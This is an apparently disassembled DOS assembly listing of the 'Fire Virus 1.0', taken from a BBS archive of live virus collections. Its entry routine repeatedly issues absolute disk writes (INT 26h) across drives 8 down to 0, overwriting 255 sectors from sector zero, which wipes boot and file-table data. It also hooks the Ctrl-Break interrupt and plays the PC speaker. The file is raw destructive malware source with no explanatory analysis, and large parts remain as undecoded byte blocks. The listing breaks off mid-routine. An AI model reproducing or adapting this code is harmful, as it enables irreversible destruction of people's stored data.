home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / fire.asm < prev    next >
Assembly Source File  |  1994-01-17  |  48KB  |  2,159 lines

  1.   
  2. PAGE  60,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    FIRE                         ██
  7. ;██                                         ██
  8. ;██      Created:   12-Mar-91                             ██
  9. ;██                                         ██
  10. ;██████████████████████████████████████████████████████████████████████████
  11.   
  12. data_1e        equ    10h                ; (0000:0010=0FF33h)
  13. data_2e        equ    14h                ; (0000:0014=0FF54h)
  14. data_3e        equ    49h                ; (0040:0049=3)
  15. data_4e        equ    4Ah                ; (0040:004A=50h)
  16. data_5e        equ    50h                ; (0040:0050=184Fh)
  17. data_6e        equ    63h                ; (0040:0063=3D4h)
  18. data_7e        equ    87h                ; (0040:0087=0)
  19. data_8e        equ    36h                ; (701E:0036=0)
  20. data_9e        equ    44h                ; (701E:0044=0)
  21. data_10e    equ    46h                ; (701E:0046=0)
  22. data_11e    equ    48h                ; (701E:0048=0)
  23. data_12e    equ    4Ah                ; (701E:004A=0)
  24. data_13e    equ    0F944h                ; (701E:F944=0)
  25. data_27e    equ    80h                ; (7058:0080=37h)
  26. data_30e    equ    74h                ; (70BA:0074=0B8h)
  27. data_31e    equ    80h                ; (70BA:0080=0Eh)
  28. data_37e    equ    0FB40h                ; (70BA:FB40=0)
  29.   
  30. ;--------------------------------------------------------------    seg_a -----
  31.   
  32. seg_a        segment    para public
  33.         assume cs:seg_a, ds:seg_a, ss:stack_seg_e
  34.   
  35.         db    0Eh
  36.         db    'Fire Virus 1.0 I Have Avenged Th'
  37.         db    'e Death of John'
  38.         db    19h
  39.         db    'Created 05/21/90 By URIBE'
  40.         db    0
  41.   
  42. ;██████████████████████████████████████████████████████████████████████████
  43. ;
  44. ;            Program Entry Point
  45. ;
  46. ;██████████████████████████████████████████████████████████████████████████
  47.   
  48.   
  49. fire        proc    far
  50.   
  51. start:
  52.         call    far ptr sub_23
  53.         call    far ptr sub_4
  54.         push    bp
  55.         mov    bp,sp
  56.         call    far ptr sub_9
  57.         mov    al,8
  58.         mov    cx,0FFh
  59.         mov    dx,0
  60.         int    26h                ; Absolute disk write, drive al
  61.         mov    di,152h
  62.         push    ds
  63.         push    di
  64.         mov    al,2Eh                ; '.'
  65.         push    ax
  66.         xor    ax,ax                ; Zero register
  67.         push    ax
  68.         call    far ptr sub_44
  69.         call    far ptr sub_43
  70.         call    far ptr sub_32
  71.         mov    al,9
  72.         mov    cx,0FFh
  73.         mov    dx,0
  74.         int    26h                ; Absolute disk write, drive al
  75.         mov    di,152h
  76.         push    ds
  77.         push    di
  78.         mov    al,2Eh                ; '.'
  79.         push    ax
  80.         xor    ax,ax                ; Zero register
  81.         push    ax
  82.         call    far ptr sub_44
  83.         call    far ptr sub_43
  84.         call    far ptr sub_32
  85.         mov    al,7
  86.         mov    cx,0FFh
  87.         mov    dx,0
  88.         int    26h                ; Absolute disk write, drive al
  89.         mov    di,152h
  90.         push    ds
  91.         push    di
  92.         mov    al,2Eh                ; '.'
  93.         push    ax
  94.         xor    ax,ax                ; Zero register
  95.         push    ax
  96.         call    far ptr sub_44
  97.         call    far ptr sub_43
  98.         call    far ptr sub_32
  99.         mov    al,6
  100.         mov    cx,0FFh
  101.         mov    dx,0
  102.         int    26h                ; Absolute disk write, drive al
  103.         mov    di,152h
  104.         push    ds
  105.         push    di
  106.         mov    al,2Eh                ; '.'
  107.         push    ax
  108.         xor    ax,ax                ; Zero register
  109.         push    ax
  110.         call    far ptr sub_44
  111.         call    far ptr sub_43
  112.         call    far ptr sub_32
  113.         mov    al,5
  114.         mov    cx,0FFh
  115.         mov    dx,0
  116.         int    26h                ; Absolute disk write, drive al
  117.         mov    di,152h
  118.         push    ds
  119.         push    di
  120.         mov    al,2Eh                ; '.'
  121.         push    ax
  122.         xor    ax,ax                ; Zero register
  123.         push    ax
  124.         call    far ptr sub_44
  125.         call    far ptr sub_43
  126.         call    far ptr sub_32
  127.         mov    al,4
  128.         mov    cx,0FFh
  129.         mov    dx,0
  130.         int    26h                ; Absolute disk write, drive al
  131.         mov    di,152h
  132.         push    ds
  133.         push    di
  134.         mov    al,2Eh                ; '.'
  135.         push    ax
  136.         xor    ax,ax                ; Zero register
  137.         push    ax
  138.         call    far ptr sub_44
  139.         call    far ptr sub_43
  140.         call    far ptr sub_32
  141.         mov    al,3
  142.         mov    cx,0FFh
  143.         mov    dx,0
  144.         int    26h                ; Absolute disk write, drive al
  145.         mov    di,152h
  146.         push    ds
  147.         push    di
  148.         mov    al,2Eh                ; '.'
  149.         push    ax
  150.         xor    ax,ax                ; Zero register
  151.         push    ax
  152.         call    far ptr sub_44
  153.         call    far ptr sub_43
  154.         call    far ptr sub_32
  155.         mov    al,2
  156.         mov    cx,0FFh
  157.         mov    dx,0
  158.         int    26h                ; Absolute disk write, drive al
  159.         mov    di,152h
  160.         push    ds
  161.         push    di
  162.         mov    al,2Eh                ; '.'
  163.         push    ax
  164.         xor    ax,ax                ; Zero register
  165.         push    ax
  166.         call    far ptr sub_44
  167.         call    far ptr sub_43
  168.         call    far ptr sub_32
  169.         mov    al,1
  170.         mov    cx,0FFh
  171.         mov    dx,0
  172.         int    26h                ; Absolute disk write, drive al
  173.         mov    di,152h
  174.         push    ds
  175.         push    di
  176.         mov    al,2Eh                ; '.'
  177.         push    ax
  178.         xor    ax,ax                ; Zero register
  179.         push    ax
  180.         call    far ptr sub_44
  181.         call    far ptr sub_43
  182.         call    far ptr sub_32
  183.         mov    al,0
  184.         mov    cx,0FFh
  185.         mov    dx,0
  186.         int    26h                ; Absolute disk write, drive al
  187.         mov    di,152h
  188.         push    ds
  189.         push    di
  190.         call    far ptr sub_42
  191.         call    far ptr sub_32
  192.         mov    al,0Eh
  193.         push    ax
  194.         call    far ptr sub_10
  195.         mov    di,152h
  196.         push    ds
  197.         push    di
  198.         mov    di,0
  199.         push    cs
  200.         push    di
  201.         xor    ax,ax                ; Zero register
  202.         push    ax
  203.         call    far ptr sub_45
  204.         call    far ptr sub_42
  205.         call    far ptr sub_32
  206.         mov    di,152h
  207.         push    ds
  208.         push    di
  209.         mov    di,0Fh
  210.         push    cs
  211.         push    di
  212.         xor    ax,ax                ; Zero register
  213.         push    ax
  214.         call    far ptr sub_45
  215.         call    far ptr sub_42
  216.         call    far ptr sub_32
  217.         mov    di,152h
  218.         push    ds
  219.         push    di
  220.         mov    di,30h
  221.         push    cs
  222.         push    di
  223.         xor    ax,ax                ; Zero register
  224.         push    ax
  225.         call    far ptr sub_45
  226.         call    far ptr sub_42
  227.         call    far ptr sub_32
  228.         mov    di,152h
  229.         push    ds
  230.         push    di
  231.         mov    di,4Ah
  232.         push    cs
  233.         push    di
  234.         xor    ax,ax                ; Zero register
  235.         push    ax
  236.         call    far ptr sub_45
  237.         call    far ptr sub_42
  238.         call    far ptr sub_32
  239.         mov    di,152h
  240.         push    ds
  241.         push    di
  242.         mov    di,4Ah
  243.         push    cs
  244.         push    di
  245.         xor    ax,ax                ; Zero register
  246.         push    ax
  247.         call    far ptr sub_45
  248.         call    far ptr sub_42
  249.         call    far ptr sub_32
  250.         mov    al,0Dh
  251.         push    ax
  252.         call    far ptr sub_10
  253.         mov    al,0Ch
  254.         push    ax
  255.         call    far ptr sub_10
  256.         mov    al,0Bh
  257.         push    ax
  258.         call    far ptr sub_10
  259.         mov    di,152h
  260.         push    ds
  261.         push    di
  262.         mov    di,4Ah
  263.         push    cs
  264.         push    di
  265.         xor    ax,ax                ; Zero register
  266.         push    ax
  267.         call    far ptr sub_45
  268.         call    far ptr sub_42
  269.         call    far ptr sub_32
  270.         mov    ax,1F4h
  271.         push    ax
  272.         call    far ptr sub_12
  273.         mov    sp,bp
  274.         pop    bp
  275.         xor    ax,ax                ; Zero register
  276.         call    far ptr sub_24
  277.         db    11 dup (0)
  278.   
  279. fire        endp
  280.   
  281. seg_a        ends
  282.   
  283.   
  284.   
  285. ;--------------------------------------------------------------    seg_b -----
  286.   
  287. seg_b        segment    para public
  288.         assume cs:seg_b, ds:seg_b, ss:stack_seg_e
  289.   
  290.   
  291. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  292. ;                   SUBROUTINE
  293. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  294.   
  295. sub_4        proc    far
  296.         push    bp
  297.         mov    bp,sp
  298.         call    sub_5
  299.         mov    di,52h
  300.         push    ds
  301.         push    di
  302.         push    cs
  303.         call    sub_14
  304.         mov    di,52h
  305.         push    ds
  306.         push    di
  307.         call    far ptr sub_33
  308.         mov    di,152h
  309.         push    ds
  310.         push    di
  311.         push    cs
  312.         call    sub_14
  313.         mov    di,152h
  314.         push    ds
  315.         push    di
  316.         call    far ptr sub_34
  317.         mov    sp,bp
  318.         pop    bp
  319.         ret                    ; Return far
  320. sub_4        endp
  321.   
  322.   
  323. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  324. ;                   SUBROUTINE
  325. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  326.   
  327. sub_5        proc    near
  328.         mov    ah,0Fh
  329.         call    sub_22
  330.         cmp    al,7
  331.         je    loc_1                ; Jump if equal
  332.         cmp    al,3
  333.         jbe    loc_1                ; Jump if below or =
  334.         mov    ax,3
  335. data_16        db    0E8h
  336. data_17        db    56h
  337. data_18        dw    0E800h
  338. data_19        db    0A1h
  339.         db    0
  340. data_20        dw    8B4h
  341. data_21        db    32h
  342. data_22        db    0FFh
  343.         db    0E8h, 0BBh
  344. data_23        dw    8A05h
  345. data_24        db    0C4h
  346. data_25        db    24h
  347. data_26        db    7Fh
  348.         db    0A2h, 4Eh, 0, 0A2h, 44h, 0
  349.         db    33h, 0C0h, 0A2h, 3Fh, 0, 0A2h
  350.         db    4Fh, 0, 0A2h, 50h, 0, 40h
  351.         db    0A2h, 3Eh, 0, 0B8h, 40h, 0
  352.         db    8Eh, 0C0h, 0BFh, 6Ch, 0, 26h
  353.         db    8Ah, 5
  354. loc_2:
  355.         cmp    al,es:[di]
  356.         je    loc_2                ; Jump if equal
  357.         mov    al,es:[di]
  358.         mov    cx,0FFFFh
  359.         call    sub_11
  360.         mov    ax,37h
  361.         xchg    ax,cx
  362.         not    ax
  363.         xor    dx,dx                ; Zero register
  364.         div    cx                ; ax,dx rem=dx:ax/reg
  365.         mov    data_64,ax            ; (0000:004A=0F000h)
  366.         push    ds
  367.         push    cs
  368.         pop    ds
  369.         mov    dx,12Fh
  370.         mov    ax,251Bh
  371.         int    21h                ; DOS Services  ah=function 25h
  372.                             ;  set intrpt vector al to ds:dx
  373.         pop    ds
  374.         ret
  375. sub_5        endp
  376.   
  377.   
  378. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  379. ;                   SUBROUTINE
  380. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  381.   
  382. sub_6        proc    near
  383.         mov    dx,40h
  384.         mov    es,dx
  385.         and    byte ptr es:data_7e,0FEh    ; (0040:0087=0)
  386.         cmp    al,7
  387.         je    loc_3                ; Jump if equal
  388.         cmp    al,4
  389.         jb    loc_3                ; Jump if below
  390.         mov    al,3
  391. loc_3:
  392.         push    ax
  393.         mov    ah,0
  394.         call    sub_22
  395.         pop    ax
  396.         or    ah,ah                ; Zero ?
  397.         jz    loc_ret_4            ; Jump if zero
  398.         mov    ax,1112h
  399.         mov    bl,0
  400.         call    sub_22
  401.         mov    ax,1130h
  402.         mov    bh,0
  403.         mov    dl,0
  404.         call    sub_22
  405.         cmp    dl,2Ah                ; '*'
  406.         jne    loc_ret_4            ; Jump if not equal
  407.         or    byte ptr es:data_7e,1        ; (0040:0087=0)
  408.         mov    ax,100h
  409.         mov    cx,600h
  410.         call    sub_22
  411.         mov    ah,12h
  412.         mov    bl,20h                ; ' '
  413.         call    sub_22
  414.   
  415. loc_ret_4:
  416.         ret
  417. sub_6        endp
  418.   
  419.   
  420. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  421. ;                   SUBROUTINE
  422. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  423.   
  424. sub_7        proc    near
  425.         mov    ah,0Fh
  426.         call    sub_22
  427.         push    ax
  428.         mov    ax,1130h
  429.         mov    bh,0
  430.         mov    dl,0
  431.         call    sub_22
  432.         pop    ax
  433.         mov    cl,0
  434.         or    dl,dl                ; Zero ?
  435.         jnz    loc_5                ; Jump if not zero
  436.         mov    dl,18h
  437.         cmp    al,3
  438.         ja    loc_5                ; Jump if above
  439.         mov    cl,1
  440. loc_5:
  441.         mov    dh,dl
  442.         mov    dl,ah
  443.         dec    dl
  444.         mov    ah,0
  445.         cmp    dh,18h
  446.         jbe    loc_6                ; Jump if below or =
  447.         mov    ah,1
  448. loc_6:
  449.         mov    data_18,ax            ; (7058:0042=0E800h)
  450.         mov    data_23,dx            ; (7058:004C=8A05h)
  451.         mov    data_17,cl            ; (7058:0041=56h)
  452.         mov    data_16,1            ; (7058:0040=0E8h)
  453.         xor    ax,ax                ; Zero register
  454.         mov    data_20,ax            ; (7058:0046=8B4h)
  455.         mov    word ptr data_21,dx        ; (7058:0048=0FF32h)
  456.         ret
  457. sub_7        endp
  458.   
  459.   
  460. ;██████████████████████████████████████████████████████████████████████████
  461. ;
  462. ;            External Entry Point
  463. ;
  464. ;██████████████████████████████████████████████████████████████████████████
  465.   
  466. int_1Bh_entry    proc    far
  467.         push    ax
  468.         push    ds
  469.         mov    ax,seg_d
  470.         mov    ds,ax
  471.         cmp    data_54,0            ; (7125:003E=0)
  472.         je    loc_7                ; Jump if equal
  473.         mov    data_56,1            ; (7125:0050=0)
  474. loc_7:
  475.         pop    ds
  476.         pop    ax
  477.         iret                    ; Interrupt return
  478. int_1Bh_entry    endp
  479.   
  480.   
  481. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  482. ;                   SUBROUTINE
  483. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  484.   
  485. sub_8        proc    near
  486.         cmp    data_26,0            ; (7058:0050=7Fh)
  487.         jne    loc_8                ; Jump if not equal
  488.         ret
  489. loc_8:
  490.         mov    data_26,0            ; (7058:0050=7Fh)
  491. loc_9:
  492.         mov    ah,1
  493.         int    16h                ; Keyboard i/o  ah=function 01h
  494.                             ;  get status, if zf=0  al=char
  495.         jz    loc_10                ; Jump if zero
  496.         mov    ah,0
  497.         int    16h                ; Keyboard i/o  ah=function 00h
  498.                             ;  get keybd char in al, ah=scan
  499.         jmp    short loc_9
  500. loc_10:
  501.         mov    al,5Eh                ; '^'
  502.         call    sub_16
  503.         mov    al,43h                ; 'C'
  504.         call    sub_16
  505.         call    sub_15
  506.         int    23h                ; Cntrl-C & Cntrl-Break handler
  507.         mov    bx,sp
  508.         mov    ax,ss:[bx+4]
  509.         call    sub_6
  510.         call    sub_7
  511.         mov    al,data_24            ; (7058:004E=0C4h)
  512.         mov    data_19,al            ; (7058:0044=0A1h)
  513.         ret    2                ; Return far
  514. sub_8        endp
  515.   
  516.         db    8Bh, 0DCh, 36h, 8Ah, 57h, 0Ah
  517.         db    36h, 8Ah, 77h, 8, 36h, 8Ah
  518.         db    4Fh, 6, 36h, 8Ah, 6Fh, 4
  519.         db    3Ah, 0D1h, 77h, 27h, 3Ah, 0F5h
  520.         db    77h, 23h, 0FEh, 0CAh, 78h, 1Fh
  521.         db    0FEh, 0CEh, 78h, 1Bh, 0FEh, 0C9h
  522.         db    3Ah, 0Eh, 4Ch, 0, 77h, 13h
  523.         db    0FEh, 0CDh, 3Ah, 2Eh, 4Dh, 0
  524.         db    77h, 0Bh, 89h, 16h, 46h, 0
  525.         db    89h, 0Eh, 48h, 0, 0E8h, 3Dh
  526.         db    3, 0CAh, 8, 0
  527.   
  528. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  529. ;                   SUBROUTINE
  530. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  531.   
  532. sub_9        proc    far
  533.         mov    ax,600h
  534.         mov    bh,data_65            ; (0000:0044=0F84Dh)
  535.         mov    cx,data_66            ; (0000:0046=0F000h)
  536.         mov    dx,data_67            ; (0000:0048=0F841h)
  537.         call    sub_22
  538.         mov    dx,data_66            ; (0000:0046=0F000h)
  539.         call    sub_19
  540.         ret                    ; Return far
  541. sub_9        endp
  542.   
  543.         db    0E8h, 16h, 3, 0B8h, 0, 6
  544.         db    8Ah, 3Eh, 44h, 0, 8Bh, 0CAh
  545.         db    8Ah, 16h, 48h, 0, 0E8h, 19h
  546.         db    4, 0CBh, 0B8h, 1, 7, 0EBh
  547.         db    3, 0B8h, 1, 6, 50h, 0E8h
  548.         db    0F9h, 2, 58h, 8Ah, 3Eh, 44h
  549.         db    0, 8Ah, 0Eh, 46h, 0, 8Ah
  550.         db    0EEh, 8Bh, 16h, 48h, 0, 3Ah
  551.         db    0EEh, 75h, 2, 32h, 0C0h
  552. loc_11:
  553.         call    sub_22
  554.         ret                    ; Return far
  555.         db    8Bh, 0DCh, 36h, 8Ah, 57h, 6
  556.         db    36h, 8Ah, 77h, 4, 0FEh, 0CAh
  557.         db    2, 16h, 46h, 0, 72h, 17h
  558.         db    3Ah, 16h, 48h, 0, 77h, 11h
  559.         db    0FEh, 0CEh, 2, 36h, 47h, 0
  560.         db    72h, 9, 3Ah, 36h, 49h, 0
  561.         db    77h, 3, 0E8h, 0BEh, 2, 0CAh
  562.         db    4, 0, 0E8h, 0B1h, 2, 8Ah
  563.         db    0C2h, 2Ah, 6, 46h, 0, 0FEh
  564.         db    0C0h, 0CBh, 0E8h, 0A5h, 2, 8Ah
  565.         db    0C6h, 2Ah, 6, 47h, 0, 0FEh
  566.         db    0C0h, 0CBh
  567.   
  568. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  569. ;                   SUBROUTINE
  570. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  571.   
  572. sub_10        proc    far
  573.         mov    bx,sp
  574.         mov    al,ss:[bx+4]
  575.         test    al,0F0h
  576.         jz    loc_12                ; Jump if zero
  577.         and    al,0Fh
  578.         or    al,80h
  579. loc_12:
  580.         and    data_65,70h            ; (0000:0044=4Dh) 'p'
  581.         or    data_65,al            ; (0000:0044=4Dh)
  582.         ret    2                ; Return far
  583. sub_10        endp
  584.   
  585.         db    8Bh, 0DCh, 36h, 8Ah, 47h, 4
  586.         db    24h, 7, 0B1h, 4, 0D2h, 0E0h
  587.         db    80h, 26h, 44h, 0, 8Fh, 8
  588.         db    6, 44h, 0, 0CAh, 2, 0
  589.         db    80h, 26h, 44h, 0, 0F7h, 0CBh
  590.         db    80h, 0Eh, 44h, 0, 8, 0CBh
  591.         db    0A0h, 4Eh, 0, 0A2h, 44h, 0
  592.         db    0CBh, 8Bh, 0DCh, 36h, 8Bh, 57h
  593.         db    4, 0Bh, 0D2h, 74h, 13h, 33h
  594.         db    0FFh, 8Eh, 0C7h, 26h, 8Ah, 5
  595.         db    8Bh, 1Eh, 4Ah, 0
  596. loc_13:
  597.         mov    cx,bx
  598.         call    sub_11
  599.         dec    dx
  600.         jnz    loc_13                ; Jump if not zero
  601.         ret    2                ; Return far
  602.   
  603. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  604. ;                   SUBROUTINE
  605. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  606.   
  607. sub_11        proc    near
  608.   
  609. locloop_14:
  610.         cmp    al,es:[di]
  611.         jne    loc_ret_15            ; Jump if not equal
  612.         loop    locloop_14            ; Loop if cx > 0
  613.   
  614.   
  615. loc_ret_15:
  616.         ret
  617. sub_11        endp
  618.   
  619.   
  620. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  621. ;                   SUBROUTINE
  622. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  623.   
  624. sub_12        proc    far
  625.         mov    bx,sp
  626.         mov    bx,ss:[bx+4]
  627.         mov    ax,34DDh
  628.         mov    dx,12h
  629.         cmp    dx,bx
  630.         jae    loc_ret_17            ; Jump if above or =
  631.         div    bx                ; ax,dx rem=dx:ax/reg
  632.         mov    bx,ax
  633.         in    al,61h                ; port 61h, 8255 port B, read
  634.         test    al,3
  635.         jnz    loc_16                ; Jump if not zero
  636.         or    al,3
  637.         out    61h,al                ; port 61h, 8255 B - spkr, etc
  638.         mov    al,0B6h
  639.         out    43h,al                ; port 43h, 8253 wrt timr mode
  640. loc_16:
  641.         mov    al,bl
  642.         out    42h,al                ; port 42h, 8253 timer 2 spkr
  643.         mov    al,bh
  644.         out    42h,al                ; port 42h, 8253 timer 2 spkr
  645.   
  646. loc_ret_17:
  647.         ret    2                ; Return far
  648. sub_12        endp
  649.   
  650.         db    0E4h, 61h, 24h, 0FCh, 0E6h, 61h
  651.         db    0CBh, 80h, 3Eh, 4Fh, 0, 0
  652.         db    75h, 8, 0B4h, 1, 0CDh, 16h
  653.         db    0B0h, 0, 74h, 2, 0B0h, 1
  654.         db    0CBh
  655.   
  656. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  657. ;                   SUBROUTINE
  658. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  659.   
  660. sub_13        proc    near
  661.         mov    al,data_25            ; (7058:004F=24h)
  662.         mov    data_25,0            ; (7058:004F=24h)
  663.         or    al,al                ; Zero ?
  664.         jnz    loc_18                ; Jump if not zero
  665.         xor    ah,ah                ; Zero register
  666.         int    16h                ; Keyboard i/o  ah=function 00h
  667.                             ;  get keybd char in al, ah=scan
  668.         or    al,al                ; Zero ?
  669.         jnz    loc_18                ; Jump if not zero
  670.         mov    data_25,ah            ; (7058:004F=24h)
  671.         or    ah,ah                ; Zero ?
  672.         jnz    loc_18                ; Jump if not zero
  673.         mov    al,3
  674. loc_18:
  675.         call    sub_8
  676.         ret                    ; Return far
  677. sub_13        endp
  678.   
  679.   
  680. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  681. ;                   SUBROUTINE
  682. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  683.   
  684. sub_14        proc    near
  685.         mov    bx,sp
  686.         push    ds
  687.         lds    di,dword ptr ss:[bx+4]        ; Load 32 bit ptr
  688.         mov    word ptr [di+2],0D7B0h
  689.         mov    word ptr [di+4],80h
  690.         lea    ax,ds:data_27e[di]        ; (7058:0080=37h) Load effective addr
  691.         mov    [di+0Ch],ax
  692.         mov    [di+0Eh],ds
  693.         mov    word ptr [di+10h],359h
  694.         mov    [di+12h],cs
  695.         mov    byte ptr [di+30h],0
  696.         pop    ds
  697.         ret    4                ; Return far
  698. sub_14        endp
  699.   
  700.         db    8Bh, 0DCh, 1Eh, 36h, 0C5h, 7Fh
  701.         db    4, 0B8h, 91h, 3, 0BBh, 6Fh
  702.         db    4, 8Bh, 0CBh, 81h, 7Dh, 2
  703.         db    0B1h, 0D7h, 74h, 0Ah, 0C7h, 45h
  704.         db    2, 0B2h, 0D7h, 0B8h, 3Eh, 4
  705.         db    8Bh, 0D8h, 89h, 45h, 14h, 8Ch
  706.         db    4Dh, 16h, 89h, 5Dh, 18h, 8Ch
  707.         db    4Dh, 1Ah, 89h, 4Dh, 1Ch, 8Ch
  708.         db    4Dh, 1Eh, 33h, 0C0h, 1Fh, 0CAh
  709.         db    4, 0, 55h, 8Bh, 0ECh, 0C4h
  710.         db    7Eh, 6, 26h, 8Bh, 55h, 4
  711.         db    4Ah, 4Ah, 26h, 8Bh, 75h, 8
  712.         db    26h, 0C4h, 7Dh, 0Ch, 33h, 0DBh
  713. loc_19:
  714.         mov    data_25,0            ; (7058:004F=24h)
  715.         push    cs
  716.         call    sub_13
  717.         mov    cx,1
  718.         cmp    al,8
  719.         je    locloop_20            ; Jump if equal
  720.         cmp    al,13h
  721.         je    locloop_20            ; Jump if equal
  722.         cmp    al,4
  723.         je    locloop_21            ; Jump if equal
  724.         dec    cx
  725.         cmp    al,1Bh
  726.         je    locloop_20            ; Jump if equal
  727.         cmp    al,1
  728.         je    locloop_20            ; Jump if equal
  729.         cmp    al,6
  730.         je    locloop_21            ; Jump if equal
  731.         cmp    al,1Ah
  732.         je    loc_22                ; Jump if equal
  733.         cmp    al,0Dh
  734.         je    loc_23                ; Jump if equal
  735.         cmp    al,20h                ; ' '
  736.         jb    loc_19                ; Jump if below
  737.         cmp    bx,dx
  738.         je    loc_19                ; Jump if equal
  739.         mov    es:[bx+di],al
  740.         inc    bx
  741.         call    sub_16
